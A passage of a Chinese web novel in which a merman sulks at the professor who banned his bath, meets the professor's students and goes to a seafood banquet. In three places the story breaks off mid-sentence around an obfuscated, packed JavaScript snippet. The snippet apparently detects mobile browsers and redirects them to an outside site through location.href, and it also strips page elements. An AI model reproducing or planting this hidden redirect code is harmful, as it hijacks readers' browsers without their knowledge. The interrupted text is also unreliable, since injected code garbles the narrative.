“嗯……”念西澄小心抬头,“所以,我们和好了吗?” 和好。 可爱的用词。 关路远嘴角细微地抽动了一小下,但很快绷住,冷脸道: “我说了,这件事与我的个人情绪无关。” “嗯……”小人鱼撇着嘴,觉得难以理解。 关路远说:“但鉴于你答应过的事并未遵守,所以你的保证,我也不能听信。” “嗯?” “我会给你一个惩罚,让你记住,犯错误是有代价的。” “呜……” 小人鱼缩了缩脖子,有点委屈,睫毛眨了眨,眼前已经蓄起一点点水汽。 但他没哭,睫毛晃两下,那点泪意被憋了回去。 他还记得,上次教授特地强调过,他被没收过奖励,但还没被惩罚过。 可这一回,是真的要接受第一次的惩罚了。 “念西澄,你认罚吗?” “……什么罚呀?” 小人鱼没乖乖认,还问是什么惩罚。 有点狡猾的像是讨价还价,要先听听惩罚是什么,再决定接受不接受。 关路远表情更冷,“你认罚吗?” 一个重复。 不像发问,更像施压。 小人鱼撇着嘴,没说话。 关路远揭晓:“惩罚就是,今晚,你不能泡澡了。” “啊?”小人鱼急了,“不行!” 关路远没说话。 小人鱼呜咽,“我要泡澡!” 关路远还是没说话。 小人鱼吸吸鼻子,倔强重复,“我要泡澡!” 关路远冷脸看着他。 小人鱼抽抽鼻子,意识到教授之命不容质疑,悲从心头起,眼泪吧嗒吧嗒掉下来,可怜巴巴地开口,像是乞求: “我要泡澡的……要泡澡的……” “首先,房间里有加湿器,功率足够,你不会缺水。其次,这条毛巾上我碰了免洗沐浴液,你可以用它擦身,保持身体洁净。” “可是泡澡……很舒服……很开心……很喜欢……” “正因为你喜欢,所以取消这个娱乐项目,才能成为你的惩罚。”面对小人鱼的哭哭啼啼,关教授绝情道,“以上。明天见。” “呜呜……” “晚安。” “哼。” 被教授气哭的小人鱼,决定不跟教授说晚安。 他攥着毛巾继续哭,可关教授就这么走出了房门,没回头看他一眼,也没撤销惩罚。 完蛋啦!今晚真的不能泡澡啦! 念西澄越想越悲伤,干脆趴在床上哭,像一条失去梦想的咸鱼—— 好残忍。人类好残忍。 可以不吃饭可以不睡觉,但是怎么能不泡澡呢! 原来犯错误这么严重,严重到不能泡澡了…… 念西澄悲伤到融化。 他想: 以后不和教授好了。 教授,坏! 教授特别特别特别坏! * 次日早晨,院子里有点嘈杂。 除去工程队继续来给电梯施工外,小人鱼听常雨霖和石巍说,今天还是楼内师哥师姐们凯旋的日子。 这幢楼,是关路远申请给没基地正式岗位,又想追随自己学习的学生们的。 这批学生绝大多数是研究生,只有常雨霖和石巍是例外。 小人鱼入驻的这段时日,恰好研究生们都去参加一个外地的比赛项目,只有常雨霖和石巍因资格不够留守,也就近水楼台得到先和小人鱼接触的机会。 常雨霖和石巍时不时会和关系好的师哥师姐们打电话,也会聊到楼里搬进了新成员的事。 听说教授暂时“收留”了一个漂亮可爱的男孩子,师哥师姐们都很好奇,迫不及待想回来见识一下这个神秘的小师弟。 今天就是这个日子了。 念西澄坐在轮椅上,由常雨霖和石巍陪着,在门口等待。 他听俩学生说,如果好好迎接师哥师姐,会得到伴手礼。 “别闹太晚。”关路远走过来,叮嘱完常雨霖和石巍,又对念西澄说,“等大部队汇合之后,我会正式启动给学生们的授课。也包括你在内。” 念西澄听到了,眉梢一跳,但故意没看关教授,也没回答关教授。 关路远继续说:“当然,给你的课程内容是定制化的,和他们难度不一样。” 念西澄听到了,但还是不说话。 因为他在生关教授的气。 什么惩罚都可以,但怎么能惩罚不让泡澡呢! 这太过分太残忍了! 所以他要学庞婶不跟叔叔说话一样,不跟教授说话。 这是他观察到的人类群体中的神秘法则: 关系好的话,强大的人类只要被不说话,也会害怕弱小的人类。 小人鱼自知凭自己的肌肉、体格和灵敏程度,打不过关教授。 所以他要借用这种神秘力量,不战而胜! 接连搭话被无视,关路远自然意识到念西澄是什么态度了。 察觉到教授也没说话,念西澄偷偷用眼角余光去瞥,却捕捉到关路远一成不变的淡然表情。 情绪相当稳定。 一点也没像叔叔那样害怕。 小人鱼撇起嘴,更不高兴了—— 怎么教授不害怕呀? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205104|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >难道,我和教授其实关系不好吗? 关路远直接走开了。 念西澄气得直撅嘴。 一旁的常雨霖和石巍面面相觑,隐约感觉关教授和小人鱼之间的氛围不一样,但又说不出到底哪里不一样。 不多时,一辆大巴停在不远处的小巷口。 车门打开,乌泱泱拥下来十余个意气风发的青年人。 这些人中有男有女,皆着亮色系的服装,红蓝橙绿色彩明艳,衬得青年人们面上的笑容都带着青春的热浪。 这些天,念西澄被常雨霖和石巍带着,看了点儿电视剧。 看着眼前这些朝气蓬勃的人类,他想到了电视里那些常雨霖和石巍口中的“大明星”。 很闪耀的人们。 虽然一个也不认识,但都是小人鱼第一眼就想说说话的人。 “师哥!师姐!” 常雨霖和石巍雀跃地挥手打起招呼。 那些青年听到声音,转过来,为首的几个明媚笑起来,大包小包拎着就跑了过来。 念西澄懵懂地想: 哦,原来这些人都是教授的学生。 能教出一看就很厉害的学生,关教授到底有多厉害? 被称为师哥师姐的青年们,分别与常雨霖和石巍亲昵地拥抱打过招呼后,自然而然也就注意到了坐在轮椅上的念西澄。 于是,念西澄就听到电视剧里,大人们面对可爱小动物或人类幼崽时,会突然夹起来的嗓音,出现在青年们和自己说话的声音里—— “哇!你一定就是我们的小师弟!雨霖和石头诚不欺我,真的好可爱呀!” “宝宝你这美瞳什么牌子的?也太漂亮了!” “呜呜我想摸摸!这小脸好嫩,感觉能掐出水……” 混乱中,一只手探向念西澄的脸颊。 吓了小人鱼一跳。 “洗手了么。” 突如其来的冷淡音色,给逐渐热络的气氛降了温。 念西澄本能循声望去,发现是关路远不知何时默默飘了过来。 没有脚步声,脸色还阴沉。 像恐怖片里的鬼。 猛然想起自己在跟教授“不说话”的小人鱼,马上收回视线。 假装没听见教授的声音,也假装自己刚才没有本能被教授的声音吸引转头。 “教授!好久不见!我想你……好吧也没那么想。”热情打招呼的师姐,音量随着目睹教授冷脸,尴尬地低下去,嘟哝,“害!这不是没摸到嘛!不知道的还以为师弟是宝宝呢,抵抗力差,成年人得洗手才能摸。” “原来你知道他不是宝宝。”关路远回。 听到声音的小人鱼又本能抬头看教授。 然后反应过来,又低头,假装没看。 “啊?”师姐懵了。 “既然知道他是有独立意识的个体,那至少应当得到本人允许,才能触碰。” 小人鱼又看教授。 又收眼。 “……”久别重逢还被不客气批了一顿的师姐耸眉搭眼,“师弟太可爱了我被冲昏头脑了。对不起,我知道错了。” 旁边的师哥怼师姐一下,“一开始犟什么嘴呢?教授几时说错过话?非得被教育一通。” “呜呜呜出门太久,好了伤疤忘了痛了……” 小人鱼低着头,听着师生们的对话。 他听不懂,只知道自己心里有点急—— 教授好像保护了我。 我是不是得说谢谢呀? 但是我现在正在跟教授“不说话”。 那么谢谢更重要,还是不说话更重要? 这题有点超纲。 还没有人教过小人鱼,遇到这种情况,应该怎么办。 19. 第 19 章 下午,学生们在一楼由数间房打通成的阶梯大教室内集合。 “小师弟”念西澄也被带到了这里。 由于院子里在施工电梯噪音很响,且刚回归的师兄师姐们还有报告要补,这次集合,关教授顶多就是表彰和预安排之后的课程,不会正式上课。 果不其然,没拿教案走进教室的关路远,手上比学生们还干净。 反倒是学生们为了逗念西澄开心,主动带了玩具零食,双手被占得满满当当—— “宝宝喜欢吃奶酪棒吗?这是我出差带回来的新产品,大型商超里才有卖呢!” “听说弟弟喜欢泡澡,这是我刚买的彩色橡皮小鸭子,来,给你摆一排。” “这轮椅也太冷冰冰了。我给你装饰点儿贴纸好不好?这种胶水很好撕的,你不喜欢的时候还可以换~” “喜欢沙锤不?喜欢铃铛不?送你,都送你。嘿嘿,以后小师弟移动的时候,就会有当啷当啷的声音,想想都可爱,像小猫咪小狗勾。” 不消片刻,念西澄的轮椅,就被瞬间装饰成婴儿车。 各种适合宝宝的高明度颜色玩具一应俱全。 “婴儿车”周边围满了好奇的师哥师姐,很容易让人幻视一些校园场景—— 老师偶尔把自家幼崽带到办公室,结果引起班级内哥哥姐姐们的围观与投喂。 而讲台上,被忽略了十几分钟的关教授,沉默且无语。 啪。 嗡—— 讲桌上的麦克风被调试,发出刺耳的嗡鸣。 这声响成了教授隐晦的警告,众学生齐刷刷转头,见讲台上的人有要开口的迹象,纷纷乖乖找座位坐下。 当然,玩心不死。 近水楼台离念西澄近的,成了优质座位。没抢到好位置的学生则灰溜溜地就近找位置。 大教室以念西澄为圆心,辐射状逐渐被填满座位。 换作以前,距离讲桌近的,才是热门座位。 目睹该场面的关路远:“……” 尚未收心的学生们对教授的眼神毫无察觉,还有个别拽着念西澄的轮椅,试图让小师弟离自己更近一点。 然后就在底下小声争执起来。 直到关路远开口:“把人推上来。” “啊~”台下传出懊恼声。 关路远重复,“推上来。” “哦。” 没人舍得动手,被迫挤到前排的石巍兴冲冲起身过来,把轮椅拉到了讲台边。 于是念西澄就拥有了讲桌边的vip听课位。 对教室内波谲云诡的格局变化并无察觉的小人鱼,被黄色的橡皮小鸭子吸引了注意,拿手指戳了下。 小鸭子发出“叽嘎”的声响。 没防备的小人鱼被吓一跳,身子一抖,随后大抵觉得这声音可爱,又憨憨笑起来。 旁边送小鸭子的师姐见状,小声介绍,“这些鸭子可以在水里浮起来哟!这样你洗澡的时候也可以玩了。” “嗯!”念西澄认真倾听,记住,乖乖点头,“谢谢你的礼物。” 之前收到礼物及时道谢,被教授夸过,也被庞婶夸过。 所以这次道完谢,小人鱼第一反应就是,还会被夸夸吗? 他扭头看向近在手边的讲桌后的关路远。 教授刚调试完扩音麦克,手臂撑在桌面上,垂着头没说话,应当是在等学生们彻底安静。 关路远没理由听不见念西澄那句道谢。 但关路远没有夸他,也没有看他。 念西澄低下头,撇撇嘴,更不高兴了—— 教授欠我一句夸夸,我欠教授一句谢谢,扯平了。 可是,为什么不夸我? 看来教授也在用那种“神秘力量”,想让我害怕。 如学生们所料,这次集合,关路远并未打算正式上课。 简单介绍了近期理论课程与基地实训的平衡安排后,空手来的关教授用实际行动证明,他并未忘记给学生们准备的表彰—— “散会后大门口集合,我在酒楼订了晚宴。” “哦哦哦哦哦哦” “关教授万岁!” “大佬豪横!大佬霸气!” “散会。” “好耶!” “快快快换衣服去!” “吃大餐咯!” 学生们雀跃涌出教室,部分惦记着小师弟的还留在轮椅边。 “弟弟,我们带你一起走呀?” “一会儿跟我们坐一桌吧!” 或许是因为,毕竟跟眼前的师哥师姐们只有一面之缘,抑或是对教授的依赖成了习惯,念西澄闻言,本能看向讲桌后关路远的位置。 讲桌后的男人恰好也看了过来。 二人对视一眼。 小人鱼猛然记起自己的“神秘力量”,赶忙低头,假装刚才没看人家。 不知是不是幻觉,念西澄在聒噪的人声中,听到似是低沉的轻笑。 很轻的一声气音,转瞬即逝。 小人鱼再想去仔细捕捉时,它就已经消失了。 随后,他听见关教授的声音: “你跟她们走,还是跟我走?” 当然是跟教授走! 平心而论,念西澄还不太适应这些过分热情的哥哥姐姐。 还是和冷冷淡淡但有安全感的教授在一起更好。 但是的但是,小人鱼还记得自己的“不跟你说话”人设。 他纠结片刻,决定抬手拽拽面前一个师姐的衣角,说: “姐姐帮我跟他说,我一会儿跟他走。” 音量不小,那姐姐听到了,教授也听到了。 教室里寂静一瞬。 旋即,传来学生们憋不住的笑声。 姐姐压着嘴角弧度,正色看向教授,“弟弟说跟你走。” 那边关教授也配合,“问他,我要上楼换衣服,他换不换。” 音量不小,学生们听到了,小人鱼也听到了。 甚至小人鱼“业务不熟练”,听到教授开口时,就已经下意识循声看过去,等姐姐传话才反应过来,慌慌张张看向姐姐。 等姐姐说完,因为要回答教授的问题,又本能看教授,“跟他说,我也换。” 说完意识到这话是跟姐姐说的,又慌慌张张转回来。 很忙。 但不知道在忙什么。 一局赌气赌出了手忙脚乱的美。 * 依旧是由那辆大容量的巴士,将学生们载到了酒楼附近。 公路距离酒楼还有一段土路,车开不进去,需由人步行。 学生们下了车,有说有笑往酒楼方向跑去。 关路远推着念西澄的轮椅,在后面慢慢走。 轮子被一块石子绊了下,轮椅一抖,小桌面的橡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205105|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮小鸭子滚下去一只。 “哎!” 念西澄弯腰去看,发现是他印象深刻的那只黄色小鸭子。 坐在轮椅上的他不方便去捡,他就扭头去看身后的关教授。 无需他提醒,关教授已然走上前来,自然躬身伸手,将那小鸭子捡了起来。 小鸭子身上沾了点灰,关教授细心将其拍散。 念西澄双手并着举高,眼巴巴地等关教授把小鸭子还回来。 但关教授没还。 手握着小鸭子,关路远问: “该说什么?” 关教授帮了小人鱼,小人鱼应该说谢谢。 小人鱼不懂得什么“沉没成本”…… 他只是记得从庞婶那里观察来的经验—— 庞婶决定不跟叔叔说话时,叔叔后面又来找了庞婶好几次,庞婶都忍住了不理叔叔。 所以一样的,教授来跟他说话,他再怎么想理教授,也要忍住。 毕竟,关教授可是拿“不能洗澡”惩罚过他的! 如果不让教授害怕,取消这种惩罚,以后还得了! 于是,小人鱼抿着嘴不说话,倔强抬高双手,就不道谢,就要小鸭子。 显然,小人鱼知道自己现在不能说话,而对面的关教授,也是故意在诱导小人鱼说话。 二人短暂僵持。 这种僵持维系不了太久。 因为能做出“不让小人鱼洗澡”这种“残忍行径”的关教授,自然也能毫无负担地挟持“小鸭质”,不达目的就心狠手辣。 关路远把小鸭子揣进了风衣外套的口袋里。 没收了。 看得小人鱼目瞪口呆。 这人怎么敢的! 急得小人鱼差点说话了! “额!嗯……” 念西澄吱唔几声,眼睁睁看着人性泯灭的关教授,转身离去了! 把小人鱼丢在了原地! 因为小人鱼不跟教授说话,教授也不帮小人鱼推轮椅。 一局幼稚的拉扯,主打看谁先害怕。 念西澄“哼”一声,心想不推就不推,反正我能自己开。 他握着摇杆驱动轮椅追上去,三两秒赶上关路远之后,才隐约意识到…… 虽然关教授把他丢在原地…… 但似乎,走得很慢? 关教授的腿很长,平时哪怕抱着念西澄,都能健步如飞。 而现在,哪怕是懵懂的小人鱼,都能发现,教授真的走得很慢。 以至于小人鱼都没来得及害怕被丢掉,就轻而易举地赶上来了。 还不待念西澄想清楚是怎么回事,身后有学生赶了上来。 “小鱼怎么一个人在这儿呀?” “走!我们带你!” 耳熟的声音。 念西澄转头,发现是常雨霖和石巍。 又有人陪伴小人鱼,他便自然松开本握着摇杆的手。 和常雨霖与石巍说笑几句,念西澄想到教授还在身边,抬头去看时…… 就发现,这回关路远迈开步子了。 他们才几句话的功夫,关路远就走得没影了。 看!教授就是能走那么快! 念西澄后知后觉领悟到: 那么,所以,教授刚才走那么慢,是为了等我。 虽然教授很坏! ……但是,教授很好。 20. 第 20 章 不知是巧合还是故意,与念西澄围坐同一圆桌的,恰好都是熟人。 有关路远,有常雨霖和石巍,还有几个在教室里友善有分寸的师哥师姐。 都是念西澄眼熟的人,让第一次参与人类宴席的小人鱼安心了不少。 毕竟地处海岛,当地海鲜食材新鲜且优质。念西澄刚好也偏好海鲜,桌面的鲍鱼炖罐、油焗龙虾、蒜香鱿鱼和清蒸鲈鱼等,让小人鱼眼巴巴盯着抿口水。 他不会用筷子,也不知道怎么让大桌中摆着菜盘的玻璃小桌转起来,让想吃的菜停在自己面前。 桌边的学生们,或许刚出差吃过苦回来,也或许是吃过的宴席少,注意力都在佳肴之上,一筷子一筷子夹得起劲。 不幸中的万幸,念西澄身边的关教授,似乎“胃口不好”。 教授本人吃得不算多,但有一下没一下的,总在往念西澄的小碗里夹菜。 夹鱼肉的时候,还会细心先把骨头剔掉,念西澄握勺子直接往嘴里剜,非常方便。 一次。两次。 七次。八次。 念西澄只要盯某道菜的时长超过三秒,下一秒,这道菜就会被夹进他的小碗里。 夹得多了,念西澄也装不动高冷了。 应了那句老话,吃人嘴软拿人手短。 本能说了几句“谢谢”,等念西澄吃得半饱时,也才意识到,自己的“神秘力量”似乎破功了。 阴险的人类。 念西澄嗦着勺子边的汤汁,想: 居然还发明了这么好吃的蛊术,轻而易举就让他忘记了防守! 宴席进行到一半,突然有隔壁桌几个学生,端着小杯凑到教授跟前。 教授看一眼这几个面红耳赤的学生,轻描淡写问:“你们还点酒了?” 显然,教授点餐时,是没给学生们点酒的。 这群男生也是趁教授没在同桌,私下撺掇着点了几瓶,现在已经喝得有点上脸了。 这问题有点师生血脉压制的意味,都是成年人,教授语气也淡然,但男生们还是被教授问得汗流浃背了: “呵呵呵呵好不容易回来,喝点庆祝放松下嘛!” “想想我们还没正式跟教授打招呼,这就来敬教授一杯。” “我就不喝了。”关路远干脆道,“你们敬吧。” 男生们面面相觑一眼,也不知道教授这算是给面子了还是没给,总之也都把杯中酒饮尽,和教授作揖示意后,嘟嘟囔囔走了: “诶,你们说,有人见过教授喝醉的样子吗?” “没见过。你这么一说,我倒是好奇了。” 大概是酒壮怂人胆,加之大佬的神秘感又吊足了学生们的好奇心。 这群敬酒只敬了“一半”的男生,又去撺掇一个喝得正欢的女生来给教授敬酒。 想试探教授会不会给女学生面子。 很快,那女生端着一瓶新酒和一对小杯过来,往教授手边一摆,对关路远说: “教授!我干了,你随意。” “嗯。” 女学生仰头将酒倒入喉中,豪爽地倒杯示意…… 然后就注意到,教授完全没打算给自己倒一杯,甚至视线压根没往酒瓶那儿挪一点。 说随意,是真随意。 随意地不喝。 这酒桌文化真是绑架不了关路远一点。 女学生悻悻而归。 或许是酒意激发了学霸们迎难而上的劲头,这几个学生钻起了牛角尖。 做题时一个思路不成,就要换一个思路。 很快,他们研究出了“给念西澄喂酒,看教授会不会替小师弟喝”的新解法。 “这方法不错啊!再不济,至少能看到小师弟喝醉的样子!” “稳赚不赔!走!试试去!” 当然,这个新解法很快也被记录进错题集里—— 因为酒杯只是递到念西澄跟前,还不待男生们开口,关路远就已经瞪了过来。 只一眼,男生们就怂了,就知道错了。 念西澄本鱼自然不懂人类社会这点人情世故的交锋,还呆呆的伸手,打算去接那个小酒杯…… 吓得主动来投喂的男生们手忙脚乱把酒喝干,赔着笑彻底撤退: “快走!俗话说得好,留得青山在不愁没柴烧!” “别烧了,还有俗话说,好奇害死猫!不是所有事情都适合贯彻探究精神的!” “嗯?”念西澄懵懵的,看关路远,“那是什么?” 关路远给他倒了杯椰奶,“酒。” 念西澄喝椰奶,被清甜的口味满足得眯起眼,片刻又好奇,“酒是什么味道的?” 关路远说:“辣。” “辣?”目前为止,念西澄还没吃过辣,“什么是辣?” 旁边的常雨霖听见,夹了片配菜的红辣椒,放到念西澄盘子边,“这就是辣,小鱼你吃一点点看看。” 那辣椒片太薄,念西澄用勺子盛不起来,便趴在碟子边舔了一口。 只是舔一口而已,就辣得念西澄直嘶哈,吐着舌头,脸都红起来。 常雨霖又好笑又担心,忙给小人鱼的杯子续满椰奶,说:“快喝点儿解辣!” 念西澄额角都出汗了,端着椰奶咕嘟咕嘟灌。 关路远补充:“辣是一种痛觉。显然,像你这么怕痛的人,不适合吃辣,也不适合喝酒。” 念西澄边喝椰奶边听着,默默看向那几个还在划拳喝酒的学生,想: 如果喝酒很痛,那些人类为什么要喝呢? 他们看起来还很高兴很享受…… 难道人类中,就是有人很享受疼痛吗? * 酒过三巡。 那群学生里有不少喝大了直接趴下的,清醒的人只得分工合作,先把这群醉鬼弄上巴士。 苦力中自然也包括身强力壮的关教授。 念西澄便暂时被单独留在原地。 隔壁桌的桌面,还留着半瓶没喝完的白酒。 念西澄驱着轮椅停到桌边,盯着桌面那半瓶酒看。 对人类社会本就处于探索阶段的小人鱼,对万事万物都有好奇心。 而这个被教授拒绝的,又让学生们沉迷的神秘液体,就像潘多拉的魔盒一样令鱼在意。 念西澄伸手,目测距离刚好够,眼看着指尖就要碰到酒瓶…… 旁边抄过来一只手,把酒瓶截胡了。 念西澄看去,发现是下午在教室,替自己和教授传过话的那个师姐。 师姐抢了酒瓶,一脸“小孩想做坏事被我抓到了吧”的揶揄,一边灵活一蹦,坐在桌侧,边喝酒边和念西澄说话: “看教授很照顾你,你也很依赖教授。为什么下午不跟教授说话,吵架啦?” 吵架?在念西澄的认知里,像常雨霖和石巍那样有来有回的,才叫吵架。 他和教授之间,那是沉默的魔法攻击。 念西澄便摇头,解释:“我从庞婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205106|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边学会的,如果不说话,对方就会害怕,害怕的话,以前做的错事就不敢再做了。” “嗯?庞婶对谁不说话啦?”师姐也认识庞婶。 “对叔叔。”念西澄说。 “哦~”师姐意味深长拖长音,笑容狡猾起来,“那教授害怕了吗?” “……没有。”念西澄瘪嘴。 “哈哈哈哈!当然没用啦!”师姐笑着解释,“你和教授,又不是庞婶和叔叔那样的关系,教授当然不会害怕了!” “原来是这样吗……”念西澄遗憾道,“那我要怎么让教授害怕?” “你为什么要让教授害怕呀?他到底做错什么事了?居然让你这么乖的弟弟气得要这么吓唬他?” “教授可坏了!”念西澄想起就来气,“他可过分了!” 师姐睁大眼,各种虐待情节进入脑海,她警惕问:“多过分?” “他好残忍!他不许我泡澡!” “……” 师姐沉默片刻,噗嗤笑出来,“对啊!简直太残忍了!” “还有呢还有呢!”见师姐附和,念西澄感觉被认同,又告状,“他还没收我的小鸭子!” “小鸭子?你还养宠物了?” “是下午姐姐送我的小鸭子。” “……橡皮小鸭子啊?”师姐险些憋不住,“天呐!教授简直是暴-君!” “哼……”念西澄倾诉完,又问,“所以我该怎么让他害怕?我再也不想不能洗澡了……” 喝得上头的师姐开始出馊主意,“既然如此,你就让他感受一下你不能泡澡时的委屈!这样他就会知道他当时有多过分了!” 念西澄眼前一亮,“那要怎么做?” 师姐胡说八道:“他抢你的澡,你也抢他的澡!” 醉醺醺的师姐眼里,隐约看见小师弟脸上崇拜的表情,逐渐凝成两个字: 天才! * 入夜。 回到家中,关路远忍受不了衣物上沾的酒菜味儿,把念西澄抱回房后,就先行冲了个澡。 自小人鱼入住楼区后,为了快速应对突发状况,关路远已经戒掉随手锁门的习惯有段时日了。 毕竟楼下学生再怎么放肆,也不敢开教授卧室的门。 而隔壁间的小人鱼,哪怕常识再有欠缺,也碍于行动力无法擅闯。 本该是这样的。 一切本该是这样的。 所以浴室门被唐突打开,那只小人鱼不畏艰险匍匐蛄蛹了一路出现在浴室门口,以气喘吁吁的姿态,气势汹汹地开口恐吓: “不许洗澡!” ……的时候。 关路远:“?” 哗啦啦—— 淋浴头的水还在流动,水线似珠帘落在热雾中的男人的躯体上。 水汽喷溅,浴室内朦胧一片。 门外的念西澄被水滋了一脸,眼睛都睁不开,还咄咄逼人佯装强势: “还有!还我小鸭子!” 关路远:“……” 用最强硬的气势,讨最微不足道的小玩具。 因为关教授不说话,念西澄的注意,自然从对方脸上,转移到对方身上。 当小人鱼的视线,随着男人肌理上滚动的水珠,沿胸肌、腹肌,逐渐往下时…… 关路远终于有了动作。 他抬手摘了块浴巾,劈头盖脸把小人鱼僭越的视线糊住了。 准备往哪儿看呢?这小色鬼!